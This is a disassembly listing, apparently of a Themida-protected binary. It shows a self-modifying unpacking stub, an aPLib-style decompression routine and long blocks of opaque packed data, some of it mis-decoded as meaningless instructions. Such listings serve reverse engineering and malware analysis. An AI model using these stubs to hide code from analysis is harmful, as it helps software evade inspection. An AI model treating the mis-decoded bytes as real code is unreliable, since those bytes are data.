		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: Themida_:00513092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B+E3j
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------


loc_513265:				; CODE XREF: Themida_:loc_513076j
					; Themida_:005130B1j
		jmp	loc_57DB9C
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: Themida_:0051308Bo
		dd 15334F4h, 1E33F2BBh,	38EF1AE1h, 22BE4701h, 0DD2CA592h
		dd 57770148h, 85702411h, 2247DEF7h, 795F8770h, 0D7081771h
		dd 0C298457Eh, 3691FF1Dh, 0E4FD8770h, 77235C11h, 90F1EBDDh
		dd 6552E055h, 61397473h, 70419C72h, 789F2E5Eh, 0D7F5102Eh
		dd 65685400h, 4964696Dh, 0ECBFD861h, 2103DC35h,	5BA7DF77h
		dd 6E7E5734h, 0AA110321h, 7B04D016h, 7838EB58h,	0EAAF0153h
		dd 87C58B1Ch, 8E860D4h,	0ED815D80h, 6143503h, 55958906h
		dd 0B5110D0Ch, 85081605h, 8307268Dh, 3808D9BDh,	8B0C7407h
		dd 0B8E222E8h, 0C27B3D72h, 244470C7h, 40213E1Ch, 45186A12h
		dd 6829A3E8h, 83741E9Ah, 0ADF9407h, 894B2507h, 42D5A40Ah
		dd 950214E9h
		db 0ECh, 0F4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		and	dword ptr [edx], 8B04F1EAh
		fcmovb	st, st(7)
		inc	ebp
		fmul	dword ptr [ebp+400E8C08h]
		mov	[eax], ecx
		cmp	dword ptr [esi+7Dh], 741D8063h
; ---------------------------------------------------------------------------
		dd 8203F0Fh, 455B8399h,	431286FFh, 3736E1EBh, 412661DCh
		dd 4004C2C9h, 7CC48146h, 4902FF68h, 363AE2h, 8B80458Dh
		dd 0C7085D0Ah, 50221985h, 0D10A8D50h, 1888C305h, 0B458941h
		dd 610BD81h, 0E375145Dh, 0BA8DA127h, 75606447h,	240E8A80h
		dd 805BF4BBh, 5437ABB8h, 0D07ED378h, 4B080F61h,	0AFD8F775h
		dd 464729C3h, 1546234Ah, 0D11542F9h, 0D0D08A61h, 0C5FEF03Ah
		dd 5FC45EEh, 1E04EB4Dh,	804646ADh, 0F729403Eh, 34B784BAh
		dd 0EB0C7D30h, 0F83EC87Fh, 42126D66h, 0F40E65F0h, 0C14A1040h
		dd 0A004F065h, 1CD1F8D6h, 0B0C203E0h, 8ADB3328h, 80301C0Eh
		dd 0A7266FBh, 77391E0Ah, 79EB9F05h, 61142233h, 0A3F0DFBh
		dd 1E08B766h, 0AC3A7AFh, 181A1056h, 0A0B7241h, 66F7746h
		dd 10C5124h, 0F4ECF05Dh, 8D7D8339h, 0CB07202h, 0A576C09Bh
		dd 2620AAB3h, 8D03E7F8h, 3BA800B5h, 820FFC55h, 0B0BD7854h
		dd 38DFAAE0h, 870BA28h,	7054B970h, 8020BDFCh, 0FFE0037h
		dd 0FA754947h, 6AE222B9h, 103BBEEh, 82F11231h, 0EC02B6EBh
		dd 0A186018Eh, 51071539h, 0FA36C165h, 268AE72Eh, 22E99F78h
		dd 0BC675900h, 0F081199Fh, 0FD11FAF2h, 6D4CE810h, 0EC007F7Fh
		dd 17164558h, 301B8CAEh, 6B385F82h, 2C3A5CA7h, 580186C3h
		dd 1C3D04E9h, 80C46021h, 5257D8Ah, 8CC4582h, 6482117h
		dd 6FD0C458h, 0F1689896h, 465C23FAh, 0CEC00318h, 0A810F027h
		dd 70CB8CDBh, 82670134h, 765B4E39h, 51B8F80Fh, 0D1043D1Fh
		dd 46983B1Dh, 75097542h, 48F7C02Eh, 9065E4ECh, 1830652h
		dd 8E05C584h, 0AE52B496h, 42A3C53h, 8C3329C2h, 6EE7B871h
		dd 0FFCCE40Eh, 7730812Bh, 341D2204h, 0F98406C1h, 0BC207533h
		dd 0ADD3F41h, 309CEFD9h, 0EC41CE02h, 0CC7F8C26h, 4043FF7Eh
		dd 0E9A9453Fh, 0C4624060h, 4D028C52h, 0AA821125h, 0AB3413B1h
		dd 1322845Ah, 0A144656h, 0BFEE825Eh, 4435A881h,	0B9FA8A7Dh
		dd 230513A2h, 0BC432897h, 59F57B0Ah, 5311F55Bh,	8C49F9Eh
		dd 16C4558Ah, 0C4534340h, 10180DF8h, 8B170381h,	8C671CFFh
		dd 0DA8DCADFh, 0EAD90DF3h, 0BF32C8D3h, 55786100h, 0E55EDF54h
		dd 0CB1A009Ah, 1EE3AB84h, 548E281h, 0A0BA0665h,	7390BEAh
		dd 7F0A6C07h, 58B05012h, 0CAFCCD99h, 4886101Bh,	52C22325h
		dd 44C45A0Eh, 42384D8Ah, 0DDC4520Ch, 5F57031h, 0CE86C821h
		dd 0F6A31C02h, 810A1C27h, 7384103Dh, 0EADA8C03h, 610F0069h
		dd 4AA2F082h, 810A02FFh, 26629CF4h, 51480145h, 0C45EC356h
		dd 186D8A91h, 5646881Ch, 10FAC400h, 183C7390h, 61AB3C6Dh
		dd 0EE468C28h, 12E92262h, 932D0800h, 6FE50D3Fh,	54C800DDh
		dd 0C97F0FA4h, 0EA535AB0h, 0DB7100AAh, 0DD43068Fh, 123E69Ch
		dd 8A625A10h, 0BC0D2E86h, 1A88A4BAh, 0ED065445h, 20225CDBh
		dd 0E9302D66h, 8D4B210Ch, 7E910F63h, 99A13123h,	98FD0316h
		dd 0A8250D76h, 4F1E00F4h, 0D61BF870h, 0C6023347h, 0B2C28249h
		dd 8D69036Bh, 8CBE44F5h, 0BF89C0D9h, 12EE78E7h,	3C66148h
		dd 0F99B7DF7h, 40F3B262h, 263E4DCCh, 1CC0FA8Ch,	5D994393h
		dd 1000DB8Bh, 3B965BF6h, 748AF18Ch, 84F21312h, 490441EAh
		dd 0D9731FB1h, 42FB49E9h, 7FCAC62Ch, 46148204h,	0B0FEAh
		dd 0AA33A3CFh, 0FBDE1636h, 148EBE00h, 23D26109h, 0AB6200AFh
		dd 0E6F425CBh, 87777885h, 2DC10D00h, 0C515BF28h, 0A4530073h
		dd 0EB469654h, 0CB00CF8Ch, 0CB6F5B8h, 0AE1950h,	4A6A3581h
		dd 4339BDFBh, 58B8D830h, 7083C7h, 0A90ED4CDh, 9B8B74D1h
		dd 957E5400h, 504672E6h, 0D54337A7h, 39357031h,	0A003D34h
		dd 0F7218406h, 0B04B9532h, 0D45F00F5h, 2E43E2AFh, 0AC00CB1Eh
		dd 59A9A7F5h, 0C00D8DB0h, 34A3B8C8h, 950046CCh,	891C1FB3h
		dd 39586656h, 991C96A4h, 84807FE4h, 571A1987h, 10C0A8B0h
		dd 3C6E49CEh, 7F5F78F5h, 0BB3700BCh, 1B1DC351h,	0C5005923h
		dd 26D9535Eh, 25DD03h, 34AB3D28h, 0CCE80C9Ch, 23029DF4h
		dd 0B63C276Eh, 24E371h,	0A7327BD9h, 10C8144Ah, 96CB460Eh
		dd 40009E73h, 6942630h,	9A3D008Eh, 2A5A0993h, 4663F7A7h
		dd 1F9D31h, 0C7AE2B39h,	3824FA7Eh, 6384CA00h, 56AF3B83h
		dd 210400B5h, 0A8DA0E4Eh, 5E7F5494h, 6A9D7B00h,	0C981C220h
		dd 4EA0102h, 0ED5BAB4Ch, 0FA188C4Fh, 183D6972h,	800E67F2h
		dd 6A7A24C5h, 0C986A81Dh, 0CC38F458h, 1488C1CAh, 0C46E8F68h
		dd 5300FD17h, 319BA33Fh, 0A843F5DAh, 0BB5C58h, 0E85F5B76h
		dd 1773CD75h, 0EB6D0700h, 6623A772h, 0BAC9018Dh, 2C299F51h
		dd 4585DC87h, 2DAD91C0h, 0C66A5484h, 0C95A49B0h, 0EDBEF910h
		dd 0F4C94406h, 16003158h, 43DE985Eh, 0C5D89E63h, 278CC908h
		dd 4F5C10A4h, 0CB306A74h, 0D396C9D7h, 0AB5500AAh, 0A78EEF54h
		dd 79072DD1h, 0F2B46A7Ah, 0BC068770h, 0D59D004Ah, 2672D430h
		dd 4602F59h, 7438FE59h,	0CC1B00B8h, 0AF186A70h,	760008BDh
		dd 39D8A151h, 0C3705B1h, 0C2CB1BD6h, 7F980879h,	0FE415F00h
		dd 34C8B313h, 3C0C036Ah, 0EEB6D101h, 88A5E000h,	2F54AE18h
		dd 6D71CF1Fh, 3B63E9A3h, 44F27BA0h, 0BC95700h, 210305DAh
		dd 9243030Eh, 750A8D4Fh, 0CECBB118h, 0E983079h,	360BE51Bh
		dd 755F84E0h, 103A52Ch,	4F210E29h, 0A169150Ch, 30009C4Bh
		dd 672F057h, 8700C2E4h,	88A7BC36h, 0C1F6B6F9h, 0BD7B2BA8h
		dd 29D04053h, 0DC18E9C7h, 0D4143A1h, 3E0E00A2h,	4BC03F5Eh
		dd 0E912A00Fh, 0BC1D4074h, 0E4103AC0h, 60DED961h, 7BA750DFh
		dd 0A1814151h, 2825F048h, 91EF36h, 5B68FD0h, 4DF3471Fh
		dd 0FA507C00h, 816BACADh, 0E39235D9h, 0B4202048h, 3D09DE3Fh
		dd 777A2h, 75299970h, 0B82B49F7h, 43306D00h, 3F123DF1h
		dd 0C2A73626h, 48E2B13Eh, 3C2094B4h, 51E84096h,	94192F2Ah
		dd 84689500h, 4D5C577Bh, 1C11FE15h, 40D10DFDh, 25B942F2h
		dd 853AF787h, 3DC8D0A9h, 6EA7FA12h, 1F34B448h, 2651302Fh
		dd 960013F6h, 0A84450CFh, 91B66F8h, 229D0853h, 8ECDAC20h
		dd 5C008A13h, 0F8DD2091h, 504BCFD3h, 94ACC67h, 598DC910h
		dd 10032091h, 0F820F50Bh, 571100E6h, 6E27B606h,	70026B9h
		dd 0C7851E42h, 0C12FD195h, 0BBF2C1A8h, 0F3C9001Dh, 2928A1BFh
		dd 0AFA67810h, 0C65F039h, 19213F0Bh, 0D2A30B4h,	3A8979D1h
		dd 2640D500h, 9DECA2B3h, 4429C125h, 0CC67397Ah,	470777CAh
		dd 0A0FBB40h, 3D30F0E0h, 80B72692h, 64E69588h, 0CEF8BD0Eh
		dd 2C8F1101h, 620ACC3Ah, 9D134702h, 6A51F328h, 0ACC25Ch
		dd 0D17B0BD8h, 0C509242h, 7784A7B3h, 0F5484558h, 0BF468394h
		dd 7280FED7h, 85C1C1DCh, 818849F9h, 0C2223148h,	2C2030E1h
		dd 4D99015Eh, 8FAA3F5Bh, 50440008h, 0FE301D39h,	681773h
		dd 0B3818633h, 50114B5h, 7DB2DE3Dh, 4A20C10Fh, 725000F5h
		dd 857E6CD5h, 863A0BA5h, 0E21200A0h, 0A7174ABEh, 20C30F2Ch
		dd 0F303BD3Fh, 47E016C9h, 603D7DBFh, 0C53C003Ah, 0DD7248F5h
		dd 993D3C89h, 95A31680h, 854906A8h, 86A2031Dh, 60FD5500h
		dd 1D9A2139h, 852F8C8Fh, 702618Dh, 0E1449D80h, 0F552B3BBh
		dd 9C7F100Ch, 7C760756h, 605DE069h, 997AD06h, 0C836D113h
		dd 65435442h, 0A4B08A64h, 0A0C6AC0Ah, 284A4E83h, 56A191C3h
		dd 0BAE42025h, 1D430092h, 5AB2CA95h, 0A701AEBBh, 0E5561A9Eh
		dd 3C22AF47h, 3D0AA804h, 21460030h, 4C43C071h, 4F81A4AFh
		dd 801B4DF5h, 320525C0h
		dd 636AD181h, 0CFCB98DAh, 29F72900h, 3D2A035Ch,	270E07D1h
		dd 46A74582h, 4CA06867h, 3330F75Dh, 0B0071066h,	0CCCB2848h
		dd 0A6060E64h, 0E6008E9Dh, 4490543h, 8DC5D91Ch,	0EC422752h
		dd 47F13AAh, 8A18C252h,	530B90A3h, 0E5005DFAh, 0D4439FBDh
		dd 4A22D469h, 0A2B42600h, 0E4673F30h, 0A8432854h, 8BC91840h
		dd 975D294Ch, 20099F26h, 0D90C84C8h, 0A6F8911h,	2C9D1CE4h
		dd 7B2D8F9Ch, 0F55A6000h, 3A24DCC3h, 0BE40D02Fh, 906904C9h
		dd 53060C39h, 7EA8C0BDh, 18A6FD3Ch, 0BA105849h,	183B0285h
		dd 7FADBE60h, 818DC090h, 6966340h, 0DF8FC9C3h, 0B0907813h
		dd 39E9EF6Ch, 85B42AEh,	677FD5FDh, 84AC388Eh, 1805308h
		dd 0ABBE413Ah, 314C2008h, 6E809499h, 0DBCF352h,	4B0B0C4Eh
		dd 8FA84C9Dh, 14738A2Ah, 0F6BA8601h, 0E95D3BB2h, 0E4DADC21h
		dd 807898C4h, 54D90914h, 63FCD85Eh, 72FA9C7h, 0CEB82101h
		dd 8502976Ch, 2E15F0C4h, 11300FA9h, 9F750B4Ch, 4BA0A087h
		dd 0ABDE385h, 934372D3h, 259064E4h, 1A271804h, 0B84C8010h
		dd 12A74385h, 0A5890740h, 4891E3A6h, 0C9B2E006h, 0C4A8D066h
		dd 4655F450h, 0D9279Dh,	887F3557h, 71BAD91Bh, 870624E6h
		dd 9422177h, 25B107D1h,	8B08063Ch, 3C94C98h, 41029676h
		dd 97B416D7h, 0CCDC60DEh, 32402E79h, 0A5043CACh, 0C025301Eh
		dd 107A88E8h, 0C18F2891h, 39FDC544h, 0CDA27481h, 3FDDA800h
		dd 946F9226h, 85899A8Ah, 44E1023Dh, 0E2854AB3h,	8460A96Eh
		dd 0C70118D4h, 6405958Dh, 0F420FA48h, 732F30C9h, 0D9B7771h
		dd 0A9271607h, 0E5214B8Dh, 0B0439DA1h, 1DF2FAh,	0F7C06039h
		dd 91726B30h, 99DEC168h, 0B0099560h, 0CB142904h, 0AD0088D8h
		dd 6774BD1Eh, 0E1280340h, 5C4E589h, 4EC78357h, 3638C105h
		dd 734984F8h, 54A40812h, 0CBEB4096h, 1F51C960h,	1FC16738h
		dd 804A6CA5h, 443E0BDCh, 0EF0CD147h, 418E4BA8h,	269E2A30h
		dd 2DEB14E8h, 0EE03FA78h, 0F79D8073h, 431ED991h, 0C0110D8Ch
		dd 0EE1A5835h, 8C823913h, 870042C9h, 0C0D5C68Dh, 2AF89589h
		dd 0D800C05Ch, 6A17C762h, 1A2D923h, 4067C5F7h, 22CB490Ah
		dd 7E3C00D8h, 0E76386Ch, 0C0B04C43h, 806D8DC2h,	0A23B2600h
		dd 12F0F8F5h, 201BA8A7h, 2639274h, 4C4EF680h, 0D9814CA0h
		dd 70036945h, 4902C3F6h, 403D26B6h, 78544624h, 2FE718B8h
		dd 37801106h, 0EDF6CA00h, 75CF1CB2h, 10DD06BEh,	592BC10Bh
		dd 0E48211Ah, 7F548031h, 1C950886h, 0FBA409Bh, 21184924h
		dd 2D69CB0Bh, 5C00039h,	4C432498h, 390238D3h, 0C11AD101h
		dd 53109C58h, 0C703BD55h, 6D679F5Dh, 5882D82Eh,	6B5F9A04h
		dd 8B038410h, 8F06A7DAh, 8DC5022h, 0C252C909h, 24C8E112h
		dd 0AB410016h, 0A540732Eh, 370094F9h, 8901B856h, 70C2DF52h
		dd 0FA73166h, 110C4AE0h, 0C872C30Bh, 1510344Ch,	0AB106062h
		dd 845C455Bh, 1CAB2177h, 44C527D4h, 0B2BD78C8h,	0DF51298h
		dd 0AABC421Dh, 4F00778Ah, 0B12CBD9Dh, 205B1D78h, 0C9853C04h
		dd 68198898h, 10BD1309h, 28205328h, 1053782Dh, 13A88404h
		dd 0CF567818h, 454C38Ah, 15F2C791h, 0CAC818CEh,	0EA00F508h
		dd 0BE6EC143h, 0A31E20F0h, 3C815D5h, 7E54F4AEh,	0B3E8C5B1h
		dd 0C4DEBFFh, 48D12D4h,	0C4C60087h, 6D8B2068h, 0C0EC8C5Ch
		dd 0B55B2892h, 0C59101DAh, 7177E42Fh, 0F9BBD8A1h, 0F8CC0230h
		dd 6FCA43A7h, 9687806Fh, 74783A6h, 4A261005h, 741EC4CCh
		dd 879808B0h, 0A5F3F50Ah, 5000D813h, 8D4D5C4Ah,	4989C69Bh
		dd 0D301E140h, 43D60E28h, 31E02658h, 8130A053h,	86E426C9h
		dd 0F8A4BC44h, 69CA638h, 0C81FEB9Fh, 0AE4F4D15h, 852F1808h
		dd 69F18F91h, 48441E0h,	87C4E48Dh, 83F590C4h, 43B0DF41h
		dd 7479804Bh, 0F545ED13h, 2821D497h, 2854A848h,	0AD25154Fh
		dd 44C186Bh, 45E0A87Fh,	31B23237h, 1E205170h, 367B81h
		dd 54C4AEA7h, 1C43EE15h, 3914200Ch, 0C901D07Fh,	2884A741h
		dd 88B05109h, 0FAEF090h, 397DB30Ah, 0C742F89Dh,	0C44C8082h
		dd 0A034DEA1h, 37CB7EA0h, 0A0500115h, 0F1D31F5Dh, 0A2E84700h
		dd 223DBD6h, 78AD00A9h,	5653614h, 0AE00EAB8h, 0ACBA6061h
		dd 7024442Ah, 81780352h, 0FCE820BFh, 0C8AAE1A8h, 0B70071E2h
		dd 6F79C0B9h, 64123Bh, 6BA89F11h, 1EACA554h, 0FE402E60h
		dd 80C09072h, 0F80081E2h, 71C3DE9Bh, 0A9A64Dh, 282F5E64h
		dd 0D3B6B809h, 0A5707601h, 234469BBh, 7291F0h, 0DF20929Ch
		dd 9BF7B2E8h, 77C3D412h, 46AC824h, 0ECF854BFh, 0F1B3FB0Fh
		dd 0D8001291h, 6CACBEB2h, 6D37015Eh, 0A2AFB64Ah, 0A5B3D828h
		dd 0CD2E6026h, 8B779500h, 60C46EE4h, 0D6AF40FCh, 0B47B3A16h
		dd 5F64B600h, 451B2826h, 6BC003BEh, 7D8EFA68h, 896506B8h
		dd 0F88C0E08h, 0EA4D0220h, 0B600D7A8h, 77ADE4h,	7D283B61h
		dd 76A6A3B9h, 0A1F85C07h, 0E0EE6A60h, 0BD9B0E85h, 0B6C3006Eh
		dd 0C194EA5Fh, 0B8042116h, 537793AFh, 942E38C5h, 0E8EA01BBh
		dd 0D8AEF648h, 0B770F4h, 6164A3E4h, 0BD02283Ch,	667DD4E2h
		dd 2A92B31Dh, 7753A0Eh,	7380CF79h, 250FCE5h, 0DF93A2EFh
		dd 0A0C00237h, 78005E7Ah, 86B31177h, 2163A9h, 625A8DDEh
		dd 7C9B6134h, 40E4C330h, 40F9B2FAh, 2001DA1h, 6764C0A7h
		dd 7D056D78h, 6FFCB1h, 6692B713h, 9B65252Eh, 390093Ch
		dd 0B2EDAF74h, 0C693C8E5h, 66B34023h, 8C7A672Ch, 5E00D4D5h
		dd 81F1EB62h, 0FAC1AAFBh, 0B8B2001Eh, 7A136991h, 0B6203628h
		dd 0A64300A7h, 38446792h, 7500CA6Dh, 0E9209390h, 0EF4CF1h
		dd 37D7E0E5h, 61A2B149h, 65245300h, 0A5B07E06h,	0BB13006Ch
		dd 345471A1h, 7800DDCEh, 0AF6DFF9Bh, 0F8B3FDh, 2ECAD2A4h
		dd 6EA9E146h, 28371400h, 0B9C0B538h, 137375h, 25532AB6h
		dd 8C768B61h, 0C2AFE0FBh, 96F44900h, 4E3ADC93h,	7CEE1DA6h
		dd 162B8061h, 76A7BA7Eh, 1AC6659h, 9C533C55h, 8849C17Ch
		dd 0B0FF041Bh, 4CC91h, 233B6BFh, 38DFB568h, 10B4410Ah
		dd 80553476h, 23AABC09h, 0B4005D66h, 0B8BF3A29h, 2B74716Fh
		dd 861C14E3h, 106A83CBh, 0B2B64E02h, 0F0295BA5h, 868703DCh
		dd 0BF1D5328h, 0EF121000h, 0F18F2D1Ah, 0D85B3Eh, 0C701B380h
		dd 0A5EE3F2h, 57243401h, 409F9544h, 4B71B3FBh, 0D28FBAC8h
		dd 0DDB37205h, 1C62D89Dh, 0B4F80555h, 9200C1A8h, 2A5CD463h
		dd 0EB0A5F39h, 5928203Ah, 7603A17Eh, 2EE0A84Eh,	0F140D041h
		dd 276B0788h, 4C9E1994h, 670031E9h, 5F62CFB5h, 3BB8A8E0h
		dd 0CB98B30Ch, 740A1D4h, 3F5AFC00h, 0ED7F53BDh,	9B593FA1h
		dd 8DD53080h, 3E48C0CDh, 45D89E61h, 0F6DBDFC8h,	9D740061h
		dd 9CAB0A4Fh, 935B4A54h, 211BA00Ch, 4F95006Dh, 822BD8FCh
		dd 0C90113AFh, 7BB097E3h, 3C7C6665h, 0A331433Ch, 43B14E91h
		dd 42FC0790h, 0A259CA0Bh, 0FA4313A8h, 3F3004B0h, 2174B92h
		dd 56858D4Dh, 14853F04h, 4747A897h, 0D05B66A8h,	0E4673DD1h
		dd 6FC5741Ah, 0FC28DA08h, 1EE443h, 92B9E2C4h, 0B57F1FCCh
		dd 7E49E700h, 302F8082h, 0B424970Fh, 0C3404348h, 0FB26E858h
		dd 7A650202h, 0C70AA74Ah, 0FA811854h, 21162998h, 833854DAh
		dd 0A883A2E2h, 5CED8Ch,	3D982DE4h, 0FE0A4AA3h, 2E843EADh
		dd 0F1E6FE8Fh, 48592020h, 4E06C9BEh, 62938D4Bh,	0D78080E8h
		dd 0F6718016h, 960744EAh, 0F72176E2h, 4ADF6380h, 6C109F67h
		dd 0C928530Bh, 8575A061h
		dd 688BF224h, 3FC83B18h, 5D4E00D9h, 5F4D4428h, 390A37D5h
		dd 381E6D9Dh, 731F08h, 9342B445h, 70016B35h, 4330E44Bh
		dd 0E450C5AFh, 7BB86A2h, 25A37921h, 1F5E2A7h, 26D9B048h
		dd 99D02C9Fh, 93C87B46h, 7A9F1F2Ch, 888CAB91h, 97538018h
		dd 655EDF4Fh, 52F47400h, 93583E44h, 29A13B26h, 0D901127Ah
		dd 46E0B022h, 0F925C678h, 1EC468F2h, 1FD90FBBh,	2DE1262Bh
		dd 9254ED5Bh, 200829A0h, 557C093h, 18F33DD5h, 5F098859h
		dd 0E08A0502h, 5E654BA6h, 0C9B30590h, 0A4B05223h, 4310ABB8h
		dd 0E0134BADh, 1834F21Ch, 77806B0Ah, 519D000Eh,	1F19B683h
		dd 0F500133Bh, 3DD646A0h, 20BE47Fh, 0FD4FD4FBh,	784462E5h
		dd 55029546h, 573DD705h, 7105A31h, 1704055Dh, 6533AF75h
		dd 811074EDh, 2112762Eh, 585E7043h, 58E2F9C9h, 40AD1448h
		dd 5C40F40Dh, 4B570447h, 0B8CF626Ah, 0A80E922Ch, 9C4850FDh
		dd 0C944C63Eh, 8902F430h, 4D4B2B1Bh, 0D602040Dh, 197BAB26h
		dd 0D020D054h, 108F1C82h, 4F9A8031h, 87B4AB13h,	4F926A00h
		dd 69E8E0h, 1ADE4B0Eh, 48F5058Ah, 5C401601h, 2B8D9D4Dh
		dd 1FE06C24h, 49C511A7h, 40827902h, 5719677Fh, 0C38859B2h
		dd 114F9930h, 88BCAB0Eh, 9169801Fh, 96124D4Fh, 2EF1810Ch
		dd 9856D0C9h, 29584h, 0F80559B9h, 0E8025089h, 55C3098h
		dd 6F3DD811h, 6804F88h,	0FBFC0544h, 0AE95043Bh,	81529EA2h
		dd 0D2D6B4h, 0C564DB4h,	1093AA3Ah, 0B10496D8h, 0E08AD0Fh
		dd 5C88208Eh, 89282EC2h, 44128AC3h, 1D932C80h, 5E9EA52h
		dd 9F45BBC8h, 58A454D7h, 0B7066D12h, 0C095249Ch, 0B0204313h
		dd 10D70C8h, 2819FEDh, 2A89C410h, 211DD00Ch, 0ED150EC9h
		dd 9F27772Fh, 0B048CC0Bh, 11589504h, 0F8300Fh, 0F8F3D3h
		dd 21D4D0EEh, 9842B315h, 0F2723E3Ch, 743077A4h,	0E5031546h
		dd 0EEF7127Ah, 3FFE1E91h, 69FA5C20h, 0F1ED3873h, 75A1A300h
		dd 0D63F1221h, 29FD3909h, 60A8F008h, 0C9E73120h, 1175F81Fh
		dd 0D0241C0Fh, 510BB8h,	0B47BF72Bh, 0C1ED02B1h,	5B383AAAh
		dd 699578C0h, 78B30440h, 404205C4h, 161B7AAh, 170FAE88h
		dd 0C832CCh, 5887D7E8h,	196ADC4Fh, 8344730h, 852180DEh
		dd 5B0287DFh, 75F10061h, 19F03591h, 332664D8h, 0A1381038h
		dd 0A0589E26h, 91469892h, 0DB055101h, 0CE3B73Dh, 590B884Eh
		dd 6090502h, 82E3D80Fh,	0E83E4h, 22418DCFh, 83441491h
		dd 11C05F08h, 43819BEDh, 19CD8022h, 905379EDh, 17AE00ECh
		dd 3DB01C93h, 9C3E4FADh, 0E2D220Bh, 4A898FFDh, 0B07B98C0h
		dd 0F2BADB7h, 0D103A015h, 0D44F5687h, 0B72AE062h, 74E80339h
